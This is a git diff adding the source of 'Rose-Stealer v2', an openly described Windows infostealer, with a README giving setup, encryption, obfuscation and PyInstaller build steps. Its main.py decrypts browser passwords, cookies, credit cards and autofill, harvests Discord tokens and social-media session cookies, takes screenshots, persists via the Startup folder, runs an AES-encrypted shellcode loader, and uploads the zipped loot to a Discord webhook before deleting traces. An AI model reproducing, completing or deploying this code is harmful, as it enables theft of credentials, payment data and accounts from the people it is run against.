Rose + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/Rose-Stealerv2-archive/README.md b/Rose-Stealerv2-archive/README.md new file mode 100644 index 0000000..24b5549 --- /dev/null +++ b/Rose-Stealerv2-archive/README.md @@ -0,0 +1,51 @@ +# 🐍 Rose-Stealer +## Rewritten version of the rose malware family. + +> [!CAUTION] +> I am not liable for anything that is happening with this software. +> If you don't trust it, read the source. + +> [!IMPORTANT] +> This is a small rewritten version for the rose implant. +> I don't provide support for this. You should know what you're doing. + +## Requirements +- [Python 3.10+](https://python.org/downloads) +- Python-Libs installed (`pip install -r assets\requirements.txt`) + +## Setup +#### [Download](https://github.com/0xRose/Rose-Stealer/archive/refs/heads/main.zip) the source code of this repository. +- Encode your Discord Webhook: `python utils\b85_encode.py DISCORD_WEBHOOK` + - Place the output in the config.ini file + ```ini + [main] + # base 85 encoded and hexified discord webhook + discord_webhook=DISCORD_WEBHOOK <--- Put the encoded webhook here + ``` +- File dropper if wanted: + - generate shellcode with [Donut](https://github.com/TheWover/donut) for an executable file to e.g. client\ `shellc.dat` + - AES encrypt the shellcode file: + - `python utils\aes_encrypt.py payload\shellc.dat payload\shellc.aes` + - Copy the output key into your config.ini file like this: + ```ini + [shellcode_loader] + # file path storing AES encrypted and compressed shellcode + shellcode_file_name=shellc.aes + # hexified 32 byte (128-bit AES key) + shellcode_key=AES_KEY <--- Put the AES key here + ``` +- Edit the config file and change the False statements accordingly to True for your needs. +- Now encrypt the config file: + - `python utils\aes_encrypt.py payload\config.ini payload\config.aes` + - Put the output key you received into the [malware source code](https://github.com/0xRose/Rose-Stealer/blob/main/payload/main.py) on line 380: + ```py + key = "AES_KEY" # hexified 32 byte key (128-bit) <--- Put the AES key here + ``` +(Additionally i would recommend to add obfuscation on the script now.) +- You can now compile it into a binary: + - **Dropper enabled:** + `pyinstaller --noconsole --onefile --clean --add-data "payload\shellc.aes;." --add-data "payload\config.aes;." --hidden-import cryptography --hidden-import pywin32 --hidden-import pillow --hidden-import aiohttp payload\main.py` + - **Dropped disabled:** + `pyinstaller --noconsole --onefile --clean --add-data "payload\config.aes;." --hidden-import cryptography --hidden-import pywin32 --hidden-import pillow --hidden-import aiohttp payload\main.py` + +**Yay! Your executable is now inside of the `dist` folder.** diff --git a/Rose-Stealerv2-archive/assets/requirements.txt b/Rose-Stealerv2-archive/assets/requirements.txt new file mode 100644 index 0000000..5883680 --- /dev/null +++ b/Rose-Stealerv2-archive/assets/requirements.txt @@ -0,0 +1,5 @@ +cryptography +pywin32 +pillow +aiohttp +pyinstaller diff --git a/Rose-Stealerv2-archive/payload/config.ini b/Rose-Stealerv2-archive/payload/config.ini new file mode 100644 index 0000000..9819169 --- /dev/null +++ b/Rose-Stealerv2-archive/payload/config.ini @@ -0,0 +1,21 @@ +[main] +# base 85 encoded and hexified discord webhook +discord_webhook=DISCORD_WEBHOOK + +[modules] +browser=False +wallet=False +discord=False +screenshot=False +shellcode_loader=False +startup=False + +[shellcode_loader] +# file path storing AES encrypted and compressed shellcode +shellcode_file_name=shellc.aes +# hexified 32 byte (128-bit AES key) +shellcode_key=AES_KEY + +[advanced] +# dont kill browser, dont delete path after stealing credentials +debug_mode=False \ No newline at end of file diff --git a/Rose-Stealerv2-archive/payload/main.py b/Rose-Stealerv2-archive/payload/main.py new file mode 100644 index 0000000..3752034 --- /dev/null +++ b/Rose-Stealerv2-archive/payload/main.py @@ -0,0 +1,778 @@ +# github.com/gumbobrot +# github.com/0xrose + + +__name__ = "Rose-Stealer" +__version__ = "1.0.2" +__author__ = "gumbobrot" + + +import asyncio +import base64 +import ctypes +import glob +import threading +import zipfile +import re +import time +import json +import os +import configparser +import shutil +import sys +import string +import random +import sqlite3 +import subprocess +import base64 +import zlib +import datetime +from aiohttp import ClientSession, ClientResponse, FormData +from PIL import ImageGrab +from cryptography.hazmat.primitives.ciphers.aead import AESGCM +from win32crypt import CryptUnprotectData + + +class Data: + passwords = list() + cookies = list() + credit_cards = list() + auto_fill = list() + browsing_history = list() + download_history = list() + bookmarks = list() + sessions = { + "roblox": [], + "reddit": [], + "twitter": [], + "tiktok": [], + "instagram": [], + "twitch": [], + "spotify": [], + "youtube": [], + "whatsapp": [], + } + tokens = list() + + +class Utils: + @staticmethod + async def get_key(path: str) -> str: + try: + with open(path, "r", encoding="utf-8", errors="ignore") as file: + + data = json.load(file) + + encrypted_key = data["os_crypt"]["encrypted_key"] + + encrypted_key = base64.b64decode(encrypted_key.encode("utf-8")) + + encrypted_key = encrypted_key[5:] + + decrypted_key = CryptUnprotectData(encrypted_key, None, None, None, 0)[ + 1 + ] + + print("Decryption Key {} found in {}.".format(decrypted_key, path)) + + return decrypted_key + except Exception as e: + print("Error occured:", e) + + @staticmethod + async def decryption(nonce: bytes, ciphertext: bytes, key: bytes) -> str: + try: + cipher = AESGCM(key) + + decrypted_value = cipher.decrypt(nonce, ciphertext, None) + + return decrypted_value.decode("latin-1") + except Exception as e: + print("Error occured:", e) + + @staticmethod + def get_random_string(length: int = 16) -> str: + chars = string.ascii_lowercase + string.digits + + random_string = "".join(random.choice(chars) for _ in range(length)) + + return random_string + + @staticmethod + async def kill_process(proc: str) -> None: + try: + if Variables.debug_mode: + return + + print("Killing Process {}.".format(proc)) + + cmd = "taskkill /F /IM {}".format(proc) + + process = subprocess.Popen(cmd, creationflags=subprocess.CREATE_NO_WINDOW) + + process.wait() + except Exception as e: + print("Error occured:", e) + + @staticmethod + async def file_writer(path: str, data_set: list, c=True) -> None: + try: + if len(data_set) != 0: + with open(path, "a", encoding="utf-8") as file: + if c: + file.write( + "rose-stealer v2 | github.com/0xrose\n=====================================\n" + ) + + for value in data_set: + file.write(value) + except Exception as e: + print("Error occured:", e) + + async def Save(self) -> None: + if len(Data.tokens) != 0: + await self.file_writer( + os.path.join(Variables.discord_path, "tokens.txt"), + Data.tokens, + c=False, + ) + + functions = [ + [ + os.path.join(Variables.browser_path, "passwords.txt"), + Data.passwords, + ], + [ + os.path.join(Variables.browser_path, "cookies.txt"), + Data.cookies, + ], + [ + os.path.join(Variables.browser_path, "credit_cards.txt"), + Data.credit_cards, + ], + [ + os.path.join(Variables.browser_path, "browsing_history.txt"), + Data.browsing_history, + ], + [ + os.path.join(Variables.browser_path, "download_history.txt"), + Data.download_history, + ], + [ + os.path.join(Variables.browser_path, "auto_fill.txt"), + Data.auto_fill, + ], + [ + os.path.join(Variables.browser_path, "bookmarks.txt"), + Data.bookmarks, + ], + ] + + for function in functions: + await self.file_writer(function[0], function[1]) + + if any(session for session in Data.sessions.values()) and not os.path.exists( + Variables.session_path + ): + os.mkdir(Variables.session_path) + + for session_name in Data.sessions: + session_cookies = Data.sessions[session_name] + + session_file = os.path.join( + Variables.session_path, "{}.txt".format(session_name) + ) + + if len(session_cookies) != 0: + with open(session_file, "a", encoding="utf-8") as file: + file.write( + "rose-stealer v2 | github.com/0xrose\n=====================================\n" + ) + + for session_cookie in session_cookies: + with open(session_file, "a", encoding="utf-8") as file: + file.write( + "{} Cookie : {}\n\n".format( + session_name.capitalize(), session_cookie + ) + ) + + @staticmethod + async def zip_file() -> None: + try: + with zipfile.ZipFile( + Variables.zip_file, "w", compression=zipfile.ZIP_DEFLATED + ) as zipf: + for root, _, files in os.walk(Variables.path): + for file in files: + zipf.write( + os.path.join(root, file), + os.path.relpath(os.path.join(root, file), Variables.path), + ) + except Exception as e: + print("Error occured:", e) + + @staticmethod + async def Send() -> ClientResponse: + embed = { + "title": "Rose-Stealer Log", + "description": f"```\nIP: {await System_Information().get_ip()}\nHostname: {await System_Information().get_hostname()}\nUsername: {await System_Information().get_username()}\nUUID: {await System_Information().get_uuid()}\n```", + "color": 0xF5424B, + "footer": { + "text": "rose-stealer v1 · t.me/rosestealer", + }, + "timestamp": datetime.datetime.utcnow().isoformat(), + } + + payload = { + "username": "Rose", + "avatar_url": "https://i.pinimg.com/736x/f2/20/6b/f2206bc74a24dab53458559efcf971fe.jpg", + "content": "@here", + "embeds": [embed], + } + + async with ClientSession() as aiohttp_session: + data = FormData() + data.add_field( + "payload_json", json.dumps(payload), content_type="application/json" + ) + data.add_field("file", open(os.path.abspath(Variables.zip_file), "rb")) + async with aiohttp_session.post( + base64.b85decode( + bytes.fromhex(Variables.config.get("main", "discord_webhook")) + ).decode("utf-8"), + data=data, + ) as response: + return response + + +class Modules: + @staticmethod + async def startup() -> None: + try: + startup_path = os.path.join( + os.getenv("APPDATA"), + "Microsoft", + "Windows", + "Start Menu", + "Programs", + "Startup", + ) + shutil.copy(sys.argv[0], startup_path) + except Exception as e: + print("Error occured:", e) + + # credits to github.com/iframepm, im just ass with the winapi + @staticmethod + def Shellcode_Loader() -> None: + try: + with open( + os.path.join( + Config.base_path, + Variables.config.get("shellcode_loader", "shellcode_file_name"), + ), + "rb", + ) as file: + bytes = file.read() + b32_decoded_config = base64.b32hexdecode(bytes) + decompressed_config = zlib.decompress(b32_decoded_config) + decrypted_shellcode = asyncio.run( + Utils().decryption( + decompressed_config[:12], + decompressed_config[12:], + bytes.fromhex( + Variables.config.get("shellcode_loader", "shellcode_key") + ), + ) + ) + + shellcode = bytearray(decrypted_shellcode.encode("latin-1")) + ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64 + ptr = ctypes.windll.kernel32.VirtualAlloc( + ctypes.c_int(0), + ctypes.c_int(len(shellcode)), + ctypes.c_int(0x3000), + ctypes.c_int(0x40), + ) + buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) + ctypes.windll.kernel32.RtlMoveMemory( + ctypes.c_uint64(ptr), buf, ctypes.c_int(len(shellcode)) + ) + handle = ctypes.windll.kernel32.CreateThread( + ctypes.c_int(0), + ctypes.c_int(0), + ctypes.c_uint64(ptr), + ctypes.c_int(0), + ctypes.c_int(0), + ctypes.pointer(ctypes.c_int(0)), + ) + ctypes.windll.kernel32.WaitForSingleObject( + ctypes.c_int(handle), ctypes.c_int(-1) + ) + except Exception as e: + print("Error occured:", e) + + @staticmethod + async def Screenshot() -> None: + screenshot = ImageGrab.grab(all_screens=False) + + filename = os.path.join(Variables.path, "screenshot.jpg") + screenshot.save(filename) + + +class System_Information: + @staticmethod + async def get_uuid() -> str: + try: + return ( + subprocess.check_output( + ["wmic", "csproduct", "get", "UUID"], + creationflags=subprocess.CREATE_NO_WINDOW, + ) + .decode() + .split("\n")[1] + .strip() + if len( + subprocess.check_output( + ["wmic", "csproduct", "get", "UUID"], + creationflags=subprocess.CREATE_NO_WINDOW, + ) + .decode() + .split("\n") + ) + > 1 + else Utils().get_random_string() + ) + except Exception as e: + print("Error occured:", e) + + @staticmethod + async def get_hostname() -> str: + try: + return os.getenv("COMPUTERNAME") + except Exception as e: + print("Error occured:", e) + + @staticmethod + async def get_username() -> str: + try: + return os.getenv("USERNAME") + except Exception as e: + print("Error occured:", e) + + @staticmethod + async def get_ip() -> str: + try: + async with ClientSession() as aiohttp_session: + async with aiohttp_session.get("https://api.ipify.org") as response: + return await response.text() + except Exception as e: + print("Error occured:", e) + + +class Config: + if getattr(sys, "frozen", False): + base_path = sys._MEIPASS + else: + base_path = os.path.abspath(".") + + def __init__(self) -> None: + key = "AES_KEY" # hexified 32 byte key (128-bit) + config_file_name = "config.aes" # config file path like config.aes, configuration.dat or conf.ini + + self.config = configparser.ConfigParser() + + config_file_path = os.path.join(self.base_path, config_file_name) + + with open(config_file_path, "rb") as file: + bytes = file.read() + b32_decoded_config = base64.b32hexdecode(bytes) + decompressed_config = zlib.decompress(b32_decoded_config) + decrypted_config = asyncio.run( + Utils().decryption( + decompressed_config[:12], + decompressed_config[12:], + bytes.fromhex(key), + ) + ) + + self.config.read_string(decrypted_config) + + +class Variables: + appdata = os.getenv("APPDATA") + local_appdata = os.getenv("LOCALAPPDATA") + + config = Config().config + + pathh = os.path.join(appdata, Utils().get_random_string()) + + if not os.path.exists(pathh): + os.mkdir(pathh) + + zip_file = os.path.join(pathh, Utils.get_random_string() + ".zip") + path = os.path.join(pathh, asyncio.run(System_Information().get_uuid())) + browser_path = os.path.join(path, "Browser Credentials") + session_path = os.path.join(browser_path, "Session Cookies") + discord_path = os.path.join(path, "Discord Tokens") + + debug_mode = True if config.get("advanced", "debug_mode") == "True" else False + + browser_paths = { + "Microsoft Edge": os.path.join(local_appdata, "Microsoft", "Edge"), + "Google Chrome": os.path.join(local_appdata, "Google", "Chrome"), + "Brave": os.path.join(local_appdata, "BraveSoftware", "Brave-Browser"), + "Opera": os.path.join(appdata, "Opera Software", "Opera Stable"), + "Opera GX": os.path.join(appdata, "Opera Software", "Opera GX Stable"), + } + + browser_profiles = [ + "Default", + "Profile 1", + "Profile 2", + "Profile 3", + "Profile 4", + "Profile 5", + ] + + process_list = [ + "chrome.exe", + "msedge.exe", + "brave.exe", + "opera.exe", + ] + + discord_paths = [ + os.path.join(appdata, "discord", "Local Storage", "leveldb"), + os.path.join(appdata, "discordcanary", "Local Storage", "leveldb"), + os.path.join(appdata, "Lightcord", "Local Storage", "leveldb"), + os.path.join(appdata, "discordptb", "Local Storage", "leveldb"), + ] + + +class Discord: + def __init__(self) -> None: + if not os.path.exists(Variables.discord_path): + os.mkdir(Variables.discord_path) + + async def get_tokens(self, path: str, web=False) -> None: + try: + if not os.path.exists(path): + return + + files = [] + for file_extension in ["*.ldb", "*.log"]: + files.extend( + [ + os.path.abspath(ff) + for ff in glob.glob(os.path.join(path, file_extension)) + ] + ) + + if not web: + key = await Utils().get_key( + path.replace("Local Storage\\leveldb", "Local State") + ) + + for file in files: + with open(file, "r", encoding="latin-1") as file: + if web: + for local_tokens in re.findall( + r"[\w-]{24}\.[\w-]{6}\.[\w-]{25,110}", file.read() + ): + if local_tokens: + for token in local_tokens.split(): + if token: + token = "MT" + token + "\n" + if token not in Data.tokens: + Data.tokens.append(token) + + elif not web: + for local_tokens in re.findall( + r"dQw4w9WgXcQ:[^\"]*", file.read() + ): + if local_tokens: + for token in local_tokens.split("dQw4w9WgXcQ:"): + if token: + try: + token = base64.b64decode(token) + + nonce = token[3:15] + ciphertext = token[15:] + + token = ( + await Utils().decryption( + nonce, ciphertext, key + ) + + "\n" + ) + + if token not in Data.tokens: + Data.tokens.append(token) + except Exception as e: + print("Error occured:", e) + except Exception as e: + print("Error occured:", e) + + async def Run(self) -> None: + tasks = [] + for path in Variables.discord_paths: + tasks.append(self.get_tokens(path)) + + for path in Variables.browser_paths.values(): + for profile in Variables.browser_profiles: + path = os.path.join( + path, "User Data", profile, "Local Storage", "leveldb" + ) + tasks.append(self.get_tokens(path, web=True)) + + await asyncio.gather(*tasks) + + +class Browser: + def __init__(self) -> None: + if not os.path.exists(Variables.browser_path): + os.mkdir(Variables.browser_path) + + async def get_data( + self, function: callable, path: str, sqlite3_command: str, browser_name: str + ) -> None: + try: + temp_path = os.path.join(os.getenv("TEMP"), Utils().get_random_string()) + + shutil.copy(path, temp_path) + con = sqlite3.connect(temp_path) + cur = con.cursor() + cur.execute(sqlite3_command) + + await function(browser_name, cur) + + con.close() + os.remove(temp_path) + except Exception as e: + print("Error occured:", e) + + async def get_passwords(self, browser_name: str, cur: list) -> None: + for row in cur.fetchall(): + if not row[0] or not row[1] or not row[2]: + continue + + nonce = row[2][3:15] + ciphertext = row[2][15:] + + decrypted_password = await Utils().decryption(nonce, ciphertext, self.key) + + Data.passwords.append( + "Browser Name : {}\nOrigin URL : {}\nUsername Value : {}\nPassword Value : {}\n\n".format( + browser_name, row[0], row[1], decrypted_password + ) + ) + + async def get_cookies(self, browser_name: str, cur: list) -> None: + for row in cur.fetchall(): + if not row[0] or not row[1] or not row[2] or not row[3] or not row[4]: + continue + + nonce = row[3][3:15] + ciphertext = row[3][15:] + + decrypted_cookie = await Utils().decryption(nonce, ciphertext, self.key) + + if ".roblosecurity" == row[1].lower(): + Data.sessions["roblox"].append(decrypted_cookie) + elif row[1].lower() == "sessionid" and "tiktok" in row[0]: + Data.sessions["tiktok"].append(decrypted_cookie) + elif row[1].lower() == "sessionid" and "instagram" in row[0]: + Data.sessions["instagram"].append(decrypted_cookie) + elif row[1].lower() == "reddit_session" and "reddit" in row[0]: + Data.sessions["reddit"].append(decrypted_cookie) + elif row[1].lower() == "auth_token" and "twitter" in row[0]: + Data.sessions["twitter"].append(decrypted_cookie) + + Data.cookies.append( + "Browser Name : {}\nHost Key : {}\nName : {}\nPath : {}\nDecrypted Value : {}\nExpires UTC : {}\n\n".format( + browser_name, row[0], row[1], row[2], decrypted_cookie, row[4] + ) + ) + + async def get_credit_cards(self, browser_name: str, cur: list) -> None: + for row in cur.fetchall(): + if not row[0] or not row[1] or not row[2] or not row[3] or not row[4]: + continue + + nonce = row[3][3:15] + ciphertext = row[3][15:] + + decrypted_credit_card = await Utils().decryption( + nonce, ciphertext, self.key + ) + + Data.credit_cards.append( + "Browser Name : {}\nName On Card : {}\nExpiration Date : {}\nCredit Card Number : {}\nDate Modified : {}\n\n".format( + browser_name, + row[0], + "{}/{}".format(row[2], row[1]), + decrypted_credit_card, + row[4], + ) + ) + + async def get_browsing_history(self, browser_name: str, cur: list) -> None: + for row in cur.fetchall(): + if not row[0] or not row[1] or not row[2]: + continue + + Data.browsing_history.append( + "Browser Name : {}\nURL : {}\nTitle : {}\nLast Visit Time : {}\n\n".format( + browser_name, + row[0], + row[1], + row[2], + ) + ) + + async def get_download_history(self, browser_name: str, cur: list) -> None: + for row in cur.fetchall(): + if not row[0] or not row[1]: + continue + + Data.download_history.append( + "Browser Name : {}\nTab URL : {}\nTarget Path : {}\n\n".format( + browser_name, + row[0], + row[1], + ) + ) + + async def get_auto_fill(self, browser_name: str, cur: list) -> None: + for row in cur.fetchall(): + if not row[0] or not row[1] or not row[2]: + continue + + Data.auto_fill.append( + "Browser Name : {}\nName : {}\nValue : {}\nDate Last Used : {}\n\n".format( + browser_name, + row[0], + row[1], + row[2], + ) + ) + + async def get_browser(self, browser_name: str, browser_path: str) -> None: + print("Reached Browser {} with Path {}.".format(browser_name, browser_path)) + + path = os.path.join(browser_path, "Local State") + self.key = await Utils().get_key(path) + + for browser_profile in Variables.browser_profiles: + path = os.path.join(browser_path, browser_profile) + + if os.path.exists(path): + funcs = [ + [ + self.get_passwords, + os.path.join(path, "Login Data"), + "SELECT origin_url, username_value, password_value FROM logins", + ], + [ + self.get_cookies, + os.path.join(path, "Network", "Cookies"), + "SELECT host_key, name, path, encrypted_value, expires_utc FROM cookies", + ], + [ + self.get_credit_cards, + os.path.join(path, "Web Data"), + "SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted, date_modified FROM credit_cards", + ], + [ + self.get_browsing_history, + os.path.join(path, "History"), + "SELECT url, title, last_visit_time FROM urls", + ], + [ + self.get_download_history, + os.path.join(path, "History"), + "SELECT tab_url, target_path FROM downloads", + ], + [ + self.get_auto_fill, + os.path.join(path, "Web Data"), + "SELECT name, value, date_last_used FROM autofill", + ], + ] + + for func in funcs: + await self.get_data(func[0], func[1], func[2], browser_name) + + async def Run(self) -> None: + _process_tasks = [Utils().kill_process(proc) for proc in Variables.process_list] + + await asyncio.gather(*_process_tasks) + + tasks = [] + + for browser_name in Variables.browser_paths: + browser_path = Variables.browser_paths[browser_name] + + browser_path = os.path.join(browser_path, "User Data") + if os.path.exists(os.path.join(browser_path)): + tasks.append(self.get_browser(browser_name, browser_path)) + + await asyncio.gather(*tasks) + + +class Rose: + def __init__(self) -> None: + if not os.path.exists(Variables.path): + os.mkdir(Variables.path) + + asyncio.run(self.Execute()) + + @staticmethod + async def Execute() -> None: + print("Storage Directory is {}.".format(Variables.path)) + + tasks = [] + + if Variables.config.get("modules", "browser") == "True": + tasks.append(Browser().Run()) + + if Variables.config.get("modules", "discord") == "True": + tasks.append(Discord().Run()) + + if Variables.config.get("modules", "shellcode_loader") == "True": + # tasks.append(Modules().Shellcode_Loader()) + threading.Thread(target=Modules().Shellcode_Loader).start() + + if Variables.config.get("modules", "screenshot") == "True": + tasks.append(Modules().Screenshot()) + + if Variables.config.get("modules", "startup") == "True": + tasks.append(Modules().startup()) + + await asyncio.gather(*tasks) + + await asyncio.gather(Utils().Save()) + + if any(files for _, _, files in os.walk(Variables.path)): + await Utils().zip_file() + + async with ClientSession() as aiohttp_session: + await asyncio.gather(Utils().Send()) + + if not Variables.debug_mode and os.path.exists(Variables.path): + shutil.rmtree(Variables.pathh) + + +if ( + __name__ == base64.b64decode(b"Um9zZS1TdGVhbGVy").decode() + and __author__ == base64.b64decode(b"Z3VtYm9icm90").decode() +): + if os.name == "nt": + print("\x1b[1;41mRose baby on top fr\x1b[0m") + start_time = time.time() + Rose() + print("Code executed within {} seconds.".format(time.time() - start_time)) + else: + print("Error occured: Only Windows OS is supported.") + sys.exit(1) diff --git a/Rose-Stealerv2-archive/utils/aes_encrypt.py b/Rose-Stealerv2-archive/utils/aes_encrypt.py new file mode 100644 index 0000000..08ce9d1 --- /dev/null +++ b/Rose-Stealerv2-archive/utils/aes_encrypt.py @@ -0,0 +1,75 @@ +from base64 import b32hexencode +from os import path, urandom +from sys import argv, exit +from cryptography.hazmat.primitives.ciphers.aead import AESGCM +from zlib import compress, decompress + + +def encryption(bytes: bytes) -> bytes: + try: + key = urandom(32) + + nonce = urandom(12) + + cipher = AESGCM(key) + + ciphertext = cipher.encrypt(nonce, bytes, None) + + return nonce + ciphertext, key + except Exception as e: + print("Error occured... '{}'".format(e)) + + +def decryption(ciphertext: bytes, key: bytes) -> str: + try: + nonce = ciphertext[:12] + + ciphertext = ciphertext[12:] + + cipher = AESGCM(key) + + plaintext = cipher.decrypt(nonce, ciphertext, None) + + return plaintext.decode("latin-1") + except Exception as e: + print("Error occured... '{}'".format(e)) + + +if __name__ == "__main__": + try: + if len(argv) != 3: + print( + "Please specify the file to be AES encrypted and the output file correctly like this.\n'python aes_encrypt.py config.ini config.aes'\n'python aes_encrypt.py shellcode.bin shellcode.aes'" + ) + exit(1) + + file = open(argv[1], "rb") + + file_data = file.read() + + print("Encrypting '{}'...".format(path.abspath(argv[1]))) + + ciphertext, key = encryption(file_data) + + print("Key:", repr(key.hex())) + + print("Test Decrypting '{}'...".format(path.abspath(argv[2]))) + + decryption(ciphertext, key) + + print("Compressing '{}'...".format(path.abspath(argv[1]))) + + compressed_aes_data = compress(ciphertext) + + print("Test Decompressing '{}'...".format(path.abspath(argv[2]))) + + decompress(compressed_aes_data) + + print("Writing to file '{}'...".format(path.abspath(argv[2]))) + + with open(argv[2], "w", encoding="latin-1") as file: + file.write(b32hexencode(compressed_aes_data).decode("latin-1")) + + print("Wrote encrypted data to '{}'.".format(path.abspath(argv[2]))) + except Exception as e: + print("Error occured... '{}'".format(e)) diff --git a/Rose-Stealerv2-archive/utils/b85_encode.py b/Rose-Stealerv2-archive/utils/b85_encode.py new file mode 100644 index 0000000..90f5055 --- /dev/null +++ b/Rose-Stealerv2-archive/utils/b85_encode.py @@ -0,0 +1,9 @@ +from base64 import b85encode +from sys import argv + +if len(argv) == 2: + print(b85encode(argv[1].encode("utf-8")).hex()) +else: + print( + "Please specify the data to be base85 encoded like this.\n'python b85_encode.py 127.0.0.1'" + )